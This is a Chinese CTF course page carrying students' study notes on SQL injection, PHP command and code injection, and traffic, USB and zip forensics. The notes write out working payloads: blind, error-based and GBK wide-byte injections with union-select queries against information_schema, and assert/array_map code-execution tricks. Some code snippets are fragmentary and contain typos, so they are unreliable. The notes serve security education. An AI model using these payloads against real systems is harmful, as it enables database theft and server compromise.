默认教学计划
1839人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

order by 注入

位运算符:

  • and &&
  • or   ||
  •  2|3 
    • 2是10 3是11  10 | 11是 11
    • 所以2|3是 11
  • select * from users order by updatexml(1,concat(0x7e,database(),0x7e),1);
  • select * from users order by if(0,name,sleep(2));
  •  
[展开全文]

bool型盲注

  • if(xxxx,1,0)
  • substring('xxxx' from 1 for 1)
    • select substr('abc' from 1 for 1)
    • 从 abc的第一位取一位
  • mid('abc' , 1 ,1 ) = mid('abc' from 1 for 1)
  • left(str,length)从左边开始截取字符串

转ASCII类型

  •  ascii(substr('xxx',1,1))=97
  •  ord() //返回第一个字符的ascii

userid=ascii((substr(select password from user) from 1 for 1))=127

过滤空格时的逃逸方法:利用内敛注释符/**/

improt requests

discts = 'abcdefghijklmnopqrstuvwxyz0123456789'

flag = ''

for x in xrange(1,50)

 for x in dicts:

  url = '   '

   try:

       response = request.get(url.timeout =5)

       if response.content.find('error password'):

        pass

[展开全文]

基于时间的盲注

  • 127.0.0.1' and (select case when ascii(substring((select database()) from 1 for 1))<128 then sleep(4) else 1 end) or '1
[展开全文]

基于时间的盲注

  • SLEEP(duration) 延时函数
  • select * from user username='admin' and sleep(3);
  • 配合if条件触发
    • if(expr1,expr2,expr3)
    • 如果expr1判断为真,返回expr2,假返回expr3
  • substring_index(aaabbbccc,a,2)
    • a
  • userneme=1'||/*
  • &password=*/ 1 or '1
[展开全文]

基于约束的SQL攻击

  •     在字段没有进行约束的时候
  • username="admin"和username="admin                     "是一样的
  • 当字段长超过限制时,会自动截取最长字段长度

报错注入

  •   updatexml(1,concat(0x7e,(version())),0)
  •  
[展开全文]

SQL注入

  • 宽字节注入
  • URL转码
    • 空格 %20
    • ' %27
    • # %23
    • \ %5c
  • addslashes函数 返回字符串
  • 如何从addslashes逃逸
    • 在\前再加入\,变成\\,这样\就被转义了
    • 把\弄没
  • %df '->  %df\'  ->   %df%5C%27
    • 当两个%拼接在一起时,GBK会将其认定为汉字,所以%27会从addslashes函数逃逸出来

SQL注入思路

如果存在报错注入,且发现/出现时,可能存在addslashes函数将单引号通过/转义。此时可以使用大于128的ASCII码逃逸出函数。

如%aa'   接下来可以使用order by来查询字段

id=1%aa' order by 3%23

得知字段后可以通过union select联合查询表名

id=1%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

此处table_schema等于的设为全局变量。

查询到表名后,通过表名查列名

id=1%aa' union select 1,group_concat(column_name) from information_schema.columens where table_name=0x637466%23

此处约束条件应设为表名,但表名的ctf无法设置为全局变量,所以此处设为ctf的16进制编码

 

 

 

[展开全文]

ASCii编码:0-127

中文传输到网页后会变成%+a string→网页转码的形式(UTF-8转码形式)

宽字节注入针对的是GBK转码的使用

URL转码:

空格→%20

‘→%27【很重要,和注入内容是否能逃逸密切相关】

#→%23【注释符】

\→%5c 

addslashes函数:使得单引号的编程实际意义转移,变成一个单纯的编程符号

 所谓逃逸:使得需要的字符产生意义,不被注释

tip1:利用gbk编码的两个字符是一个汉字的  特点

先查询数据库在查询数据表(表名要进行十六进制bian'ma)再查询列名

目的:拿到数据库

前提:熟练操作基本sql语句

[展开全文]

USB协议的数据部分存在leftover capture域中

数据长度为八个字节,USB流量分为键盘数据包长度为八个字节,击键信息集中在第三个字节

tshark -r 流量包 -T fileds -e usb.capdata > usbdata.txt

提取出来后根据映射关系还原

去掉换行cat 1.txt | tr -s "\n" > 2.txt

 

 

mappings ={  映射关系 }

keyhex = []

with open('2.txt','r') as f:
    for x in f.readlines():
   keyhex.append( int(x.split(':')[2],16))

# print keyhex

 

passwd = ''

for x in keyhex:

    if x in mappings:
            passwd += mappings[x]

 

print passwd

 

 

 

zip文件格式的组成 压缩源文件数据区[文件头+文件数据+数据描述符+]{此处可重复多次}+核心目录+目录结束标识

核心目录区50 4b 01 02 

目录结束标识符 50 4b 05 06

 

binwalk 分析可以分析缺失的文件 比如缺失文件头

 

 

全局方式位标记 00 00 有无加密 这个更改可以改成未加密 09 00 在50 4b 01 02后的四位是两个版本号 下一个09 00是伪加密

   明文攻击 判断CRC32是否与加密文件中一致 若不一致 换个压缩工具 可能压缩算法不同

pkcrack 明文攻击工具Linux下 github上有

 

crc爆破,冗余校验码 crc32则表示会产生一个32bit  (8位十六进制数)的校验值,在产生crc32时,源数据块的每一位都参与了运算,因此即使数据块中只有一位发生改变也会的到不同的crc32值,利用这个原理我们可以直接爆破出加密文件的内容   

github上有爆破crc32的脚本

[展开全文]

1.

2.tshark -r 文件  读取流量包

3、tshark -r 文件 -Y“过滤条件”  显示过滤的内容  > 重定向到文件

4、-T fields -e 用来指定输出哪些字段 

 -T fields -e htpp.request.url 输出http.request.url

 

正则提取

import re

a="  "

 

b = re.match('/.*?,1\),(\d+).*?=(\d+)',a)

print b.group(1)

print b.group(2)

 

 

 

cout = 1

oldch =0

falg =""

b = re.match('/.*?,1\),(\d+).*?=(\d+)',a)

with open('2.txt','r') as f:

    for x in f.readlines():

          reg = re.match('/.*?,1\),(\d+).*?=(\d+)',x)

          if (reg):

                 pos =int(reg.group(1))

                 nch = int(reg.group(2))

                  if pos > cont :

                        flag+=chr(oldh)

                       cout =pos

                       oldch = nch

                  else:

                       oldch = nch

  print flag

[展开全文]

smtp方式 找SMTP包

1.数据包小的时候,挨个看看

2.直接查找关键字

3、随便选一个包追踪TCP流 显示会话过程 右下角的stream 表示会话过程

红色用来标明从源地址前往目的地址的流量,而蓝色用来区分出相反方向也就是从目的地址到源地址的流量

4、base64有的编码没有= 如果是php语言base64加密可以用PHP内置的函数解密

5.从wireshark中保存出来时用十六进制形式

右键copy 以16进制流的方式

6.ftp 传文件 看出现次数多的包或者是特殊出现的包可能是出题人让你分析的包

7.pem是公钥私钥文件

8.用统计做分析  IO图表分析  所有包看HTPP请求  

[展开全文]

查询前建立的是空表,没有任何元素,

取第一次记录时,floor(rand(0)*2)=0,而0是没有在表里的,所以试图插入floor(rand(0)*2),这时,由于添加了参数0之后的floor(rand(0)*2)是定性的,此时插入的floor(rand(0)*2)返回值为1,结果插入了1,接着floor(rand(0)*2)返回1,数量增加。

然后再取,发现0是没在表中的,再次试图插入,于是重复了上面的操作,但1已经插入了,但(主键键值)keyname=1是唯一的,所以此时插入会报错

两次插入值是一样的时候就会报错

 

concat(a,b)把a,b连接起来

 

诱导报错的动机是返回更多的数据库内部信息,进行猜测

报错函数updataxml()

#------%23  注释

空格----%20

 

注入表

内联注释/**/把不需要的注释掉

information——schema.tables数据库表

=等于号的替代方法 like,regxp(正则),!!=,

table_name表名

[展开全文]

协议 字符串1 字符串2  操作符 值 逻辑符 语句

http.request.method==POST or icmp.type

 

http.requst.method==HEAD

http.request.method==GET

协议

ip.src==  ip来源

 

内容过滤语法contains

tcp contains “http”显示包含http字符串的tcp包

http.request.url contains "online"显示请求url包含online的http封包 

引号可以用双引号或者不加不能用单引号

[展开全文]

0x1 命令无回显得情况

 

判断:

延时:使用sleep 

http 请求

DNS请求

 

[展开全文]

命令注入相关函数

执行系统命令,linux服务器

0x1 system()

执行系统命令,并将相应结果输出

system('pwd')  //路径

system('whoami')

0x2 exec()

命令执行结果,只输出最后一行

0x3 passthru()

0x4 shell_exec

没有回显,需要输出,echo,var_dump

0x5  反引号``

执行系统命令

`ls`   `pwd`   ``相当于system函数

0x6 ob_start()

 

绕过技巧

 

[展开全文]

代码注入相关函数

0x1 eval(string code_str)

       将传入的参数(字符串)作为php代码执行,需要是一个完整的语句。

0x2 assert($assertion)

      检查一个断言是否为false

      assertion是字符串,它会被当成php代码来执行;

0x3 call_user_func()

里面有两个参数,第一个被用来作为函数,第二个为第一个函数的参数值,使用is_callable()函数来判断,检测函数是否支持回调,

比如:is_callable("phpinfo")

0x4 call_user_func_array()

0x5 create_function($args,$code)

将一个函数写在了一行,比如:

<?php

function a($code){

echo $code;

a('tx');

}

?>

相当于

$a = create_function('$code','echo $code');

如果echo $code部分可控,那么就可以实现getshell

0x6 preg_replace($pattern,replacement,subject)

执行一个正则表达式的搜索和替换

/e修正符使preg_replace将replacement参数当作PHP代码执行(只有匹配成功,才能执行)7.0之后不在2使用/e

<?php

$a = 'phpinfo()';

$b = preg_replace('/abc/e',$a,'abcd');

var_dump($b);

?>

0x7 array_map($callback,$array)

第一个参数为回调函数,第二个参数为一个数组,作为函数的参数值

比如:

$a = $_GET['a'];

$b = $GET['b'];

$array[0] = $b;

$c = array_map($a,$array);

有这么一个php,那么在url上这样传参

?a=assert&b=phpinfo

就可以看到phpinfo的信息了,当然也可以不使用$array[0] = $b;让b变成数组,可以直接不要这么一行,变成这样$c = array_map($a,$b);传参的时候这样写

?a=assert&b[]=phpinfo

0x8 usort()

 

0x9 uasort()

 

0x10 ${php代码}

${phpinfo()};

[展开全文]

基于约束的sql注入:利用未设约束的列表中的数据的长度或类型进行sql注入

 

[展开全文]
<?php 
highlight_file(__FILE__); 
class user 
{ 
    //变量 
    public $age=0; 
    public $name=''; 
    #private $name2='leo'; 
    #protected $age2=19; 
    //方法 
    public function print_data() 
    { 
        echo $this->name. ' is ' . $this->age.' years old<br>'; 
    }  
} 
//创建对象 
$usr = new user(); 
//赋值 
$usr->age=18; 
$usr->name='leo'; 
//输出 
$usr->print_data(); 
//输出序列化后的内容 
echo serialize($usr); 
?>

 

结果:leo is 18 years old
O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"leo";}

 

解释:O表示对象,4表示对象名的长度,后面跟的是对象名
2里面有两个变量

s表示变量是字符串,3意思是变量有三个长度

i意思是变量赋的值是整形

值为18

 

<?php
highlight_file(__FILE__);
header("Content_type:text/html;charset=utf-8");
class magic_test
{
	public $data1="Tony";
	public $data2="Leo";
	public function print_dat()
	{
		echo $this->data1 .$this->data2 . "<br>";
	}
	public function __construct()
	{
		echo "__construct<br>";
	} 
	public function __destruct()
	{
		echo "__destruct<br>";
	}
	public function __wakeup()
	{
		echo "__wakeup<br>";
	}
	//__sleep() 该函数必须返回一个需要进行序列化保存的成员属性数组,并且只序列化该函数返回的这些成员属性
	public function __sleep()
	{
		echo "__sleep<br>";
		return array("data1","data2");
		#return array("data");
	}
}
//创建对象,调用__construct
echo "准备创建对象<br>";
$obj = new magic_test();
echo "创建对象完成<br>";

//序列化对象,调用__sleep
echo "准备序列化对象<br>";
$serialized = serialize($obj);
echo "序列化对象完成<br>";

//输出序列化之后的字符串
echo "打印序列化之后的对象";
echo "serialized: ".$serialized."<br>";
echo "打印完成<br>";

//重建对象,调用__wakeup
echo "准备反序列化对象<br>";
$obj2=unserialize($serialized);
echo "反序列化完成<br>";

//调用方法
echo "准备调用方法<br>";
$obj2->print_dat();
echo "调用结束<br>";

//反序列化后会额外在调用__destruct
//脚本结束 调用__destruct
?>

 

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)